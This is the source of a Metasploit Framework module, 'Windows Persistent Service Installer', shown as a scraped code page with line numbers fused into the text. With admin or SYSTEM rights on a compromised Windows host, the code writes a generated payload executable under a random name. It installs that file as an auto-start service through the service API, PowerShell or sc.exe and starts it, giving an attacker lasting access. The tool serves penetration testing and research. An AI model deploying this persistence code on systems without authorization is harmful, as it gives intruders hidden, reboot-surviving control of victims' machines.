Path: blob/master/modules/exploits/windows/persistence/service.rb
27907 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Post::Windows::Services9include Msf::Post::File10include Msf::Post::Windows::Priv11include Post::Windows::Powershell12include Msf::Exploit::EXE13include Msf::Exploit::Local::Persistence14prepend Msf::Exploit::Remote::AutoCheck15include Msf::Exploit::Deprecated16moved_from 'exploits/windows/local/persistence_service'1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'Windows Persistent Service Installer',23'Description' => %q{24This Module will generate and upload an executable to a remote host.25It will create a new service which will start the payload whenever the service is running. Admin or system26privilege is required.27},28'License' => MSF_LICENSE,29'Author' => [30'Green-m <greenm.xxoo[at]gmail.com>', # original module31'h00die' # persistence updates32],33'Platform' => [ 'windows' ],34'Targets' => [['Windows', {}]],35'SessionTypes' => [ 'meterpreter' ],36'Privileged' => true,37'DefaultTarget' => 0,38'References' => [39['URL', 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-service?view=powershell-7.5'],40['URL', 'https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754599(v=ws.11)'],41['ATT&CK', Mitre::Attack::Technique::T1543_003_WINDOWS_SERVICE],42['ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION]43],44'DisclosureDate' => '2018-10-20',45'DefaultOptions' => {46'EXITFUNC' => 'process' # process keeps powershell from returning errors on service start47},48'Notes' => {49'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],50'Stability' => [CRASH_SAFE],51'SideEffects' => [IOC_IN_LOGS]52}53)54)5556register_options(57[58OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),59OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]),60OptString.new('SERVICE_DISPLAY_NAME', [false, 'The display name of service. Random string as default.']),61OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]),62OptEnum.new('METHOD', [false, 'Which method to register and start the service', 'Auto', ['Auto', 'API', 'Powershell', 'sc.exe']]),63]64)65end6667def writable_dir68d = super69return session.sys.config.getenv(d) if d.start_with?('%')7071d72end7374def check75print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value76return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)7778return CheckCode::Safe('You must be System/Admin to run this Module') unless is_system? || is_admin?7980CheckCode::Appears('Likely exploitable')81end8283def install_persistence84fail_with(Msf::Module::Failure::NoAccess, 'Insufficient privileges to create service') unless is_system? || is_admin?8586rexename = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(4..8)87@service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(8..12)88@service_dname = datastore['SERVICE_DISPLAY_NAME'] || Rex::Text.rand_text_alpha(4..8)89@service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..12)9091rexename << '.exe' unless rexename.end_with?('.exe')9293vprint_status('Compiling payload')94@dest_pathname = writable_dir + '\\' + rexename95exe = generate_payload_exe_service({ servicename: @service_name, arch: payload.arch[0] })96write_file(@dest_pathname, exe)97print_good("Payload written to #{@dest_pathname}")9899success = false100if datastore['METHOD'] == 'API' || datastore['METHOD'] == 'Auto'101vprint_status('Attempting API method')102success = api_service103end104if (datastore['METHOD'] == 'Powershell' || datastore['METHOD'] == 'Auto' && !success) && have_powershell?105vprint_status('Attempting Powershell method')106success = powershell_service107end108if datastore['METHOD'] == 'sc.exe' || datastore['METHOD'] == 'Auto' && !success109vprint_status('Attempting sc.exe method')110sc_service111end112113@clean_up_rc << "rm \"#{@dest_pathname.gsub('\\', '\\\\\\\\')}\"\n"114@clean_up_rc << "execute -H -f sc.exe -a \"stop #{@service_name}\"\n"115@clean_up_rc << "execute -H -f sc.exe -a \"delete #{@service_name}\"\n"116end117118def powershell_service119vprint_status("Install service: #{@service_dname} (#{@service_name})")120service_builder = "New-Service -Name '#{@service_name}' "121service_builder << "-DisplayName '#{@service_dname}' "122service_builder << "-Description '#{@service_description}' "123service_builder << "-BinaryPathName '#{@dest_pathname}' "124service_builder << '-StartupType Automatic'125resp = cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"")126return false if resp.include?('Access is denied')127return false unless resp.include?('Stopped')128129vprint_status("Service install response: #{resp}")130vprint_status('Starting service')131resp = cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"")132vprint_status("Service start response: #{resp}")133true134end135136def sc_service137vprint_status("Install service: #{@service_dname} (#{@service_name})")138sc_cmd = "sc.exe create #{@service_name} "139sc_cmd << "binPath= \"#{@dest_pathname}\" "140sc_cmd << 'start= auto '141sc_cmd << "DisplayName= \"#{@service_dname}\""142resp = cmd_exec(sc_cmd)143return false if resp.include?('FAILED')144145vprint_status("Service install response: #{resp}")146vprint_status(cmd_exec("sc.exe description #{@service_name} \"#{@service_description}\""))147vprint_status('Starting service')148resp = cmd_exec("sc.exe start \"#{@service_name}\"")149vprint_status("Service start response: #{resp}")150true151end152153def api_service154vprint_status("Install service: #{@service_dname} (#{@service_name})")155resp = service_create(@service_name,156{157display: @service_dname,158path: @dest_pathname159})160return false unless resp == 0161162vprint_status("Service install code: #{resp}")163vprint_status('Starting service')164vprint_status("Service start code: #{service_start(@service_name)}")165true166end167end168169170